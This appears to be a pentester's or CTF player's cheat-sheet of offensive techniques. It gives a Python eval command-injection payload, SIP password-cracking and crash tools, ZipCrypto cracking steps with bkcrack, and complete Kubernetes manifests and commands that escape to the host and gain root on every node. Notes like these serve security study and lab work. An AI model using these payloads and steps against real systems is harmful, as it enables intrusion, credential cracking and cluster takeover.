Miscellaneous

Git Repo Analysis

AWS

• Bucket link format: http://s3.[host]/[bucket name]/[file]

{
    "TableName": "alerts",
    "KeySchema": [
      { "AttributeName": "title", "KeyType": "HASH" },
      { "AttributeName": "data", "KeyType": "RANGE" }
    ],
    "AttributeDefinitions": [
      { "AttributeName": "title", "AttributeType": "S" },
      { "AttributeName": "data", "AttributeType": "S" }
    ],
    "ProvisionedThroughput": {
      "ReadCapacityUnits": 10,
      "WriteCapacityUnits": 5
    }
}

{
	"TableName": "alerts",
	"Item":{
		"title":{
			"S":"Ransomware"
		},
		"data":{
			"S":"This is a test"
		}
	}
}

SELinux

Python Command Injection

• eval('__import__("os").system("<command>")')

Reading Different File Types

Steganography

• steghide
• Example Usage:

Extract data from an image using a password	steghide extract -sf <File Name> -p <password>
Extract data	extract
Specify file to extract from	-sf <file name>
passphrase	-p

• If -p flag is not used then we will be prompted for a password.
• We will be prompted for a password whether it is or protected by one or not.

Port Knocking

• /etc/knockd.conf

• knock
• netcat
• Example netcat port knocking script: for i in <port #> <port #> <port #>; do nc -nv <ip address> $i; done;
• nmap

VoIP

• svmap
• sip scanner. Scans ip address space for SIP servers.
• svwar
• Scans for working extensions. Also tells if the extension line requires authentication or not.
• Example usage:

svwar -e 1-10000 10.129.1.226 -m INVITE

Scan extentions 1-10000 on ip 10.129.1.266 using the INVITE method

• svcrack
• Password cracker using digest authentication. Cracks passwords on both registrar and proxy servers.
• svreport
• Manages sessions created by the other tools and export to pdf, xml, csv, and plain text.
• svcrash
• Responds to svwar and svcrack SIP message that causes old version to crash

HTTP Cookie Flags

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
`[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

Java Deserialization

• https://github.com/frohoff/ysoserial
• Download ysoserial-master-SNAPSHOT.jar from the Installation section

Gitlab

Zip File Analysis

• zipdetails
• 7z

List Files

l <zip file> l -lst <zip file> List CRC for each file List encrypytion method for each file Method = ZipCrypto Vulerable to plaintext attack Only need to know 10 plaintext characters that exist in the encrypted/zipped file The more plaintext, the quicker the attack Attack steps Zip plaintext (that mirrors text from the encrypted file) zip plaintext.zip plaintex.txt Check CRC from zipped plaintext file, make sure it is the same as the encrypted file l -lst <zip file> Get keys for encrypted file bkcrack -C <encrypted zip> -c <encrypted target file on zip> -P <plaintext zip> -p <plaintext from target encrypted file> Change encrypted zip password bkcrack -C <Encrypted zip file> -k <keys from previous command> -U <output zip> <new password>

Kubernetes

• If permission to create a pod, then create one with host file system mounted inside
• https://raesene.github.io/blog/2019/04/01/The-most-pointless-kubernetes-command-ever/
• Create noderoot.yml

apiVersion: v1
kind: Pod
metadata:
  name: noderootpod
  labels:
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: noderootpod
    image: busybox (or another valid known image, i.e. pick one from another pre-existing pod)
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

• Create the new node: kubectl create -f noderoot.yml
• Get a shell on the new node: kubectl exec -it noderootpod chroot /host
• If unable to exec on new pod using kubectl, then try kubeletctl to access the new pod
• In order to gain root on all nodes in a cluster use a DaemonSet instead:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: noderootpod
  labels:
spec:
  selector:
    matchLabels:
      name: noderootdaemon
  template:
    metadata:
      labels:
        name: noderootdaemon
    spec:
      tolerations:
      - key: node-role.kubernetes.io/master
        effect: NoSchedule
      hostNetwork: true
      hostPID: true
      hostIPC: true
      containers:
      - name: noderootpod
        image: busybox (or another valid known image, i.e. pick one from another pre-existing pod)
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: noderoot
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "while true; do sleep 30; done;" ]
      volumes:
      - name: noderoot
        hostPath:
          path: /

• Get root on chosen pod
• Get a shell on a pod: kubectl exec -it <chosen pod from "kubectl get po" output> chroot /host
• If unable to exec on new pod using kubectl, then try kubeletctl to access the new pod

Unprotect Excel Document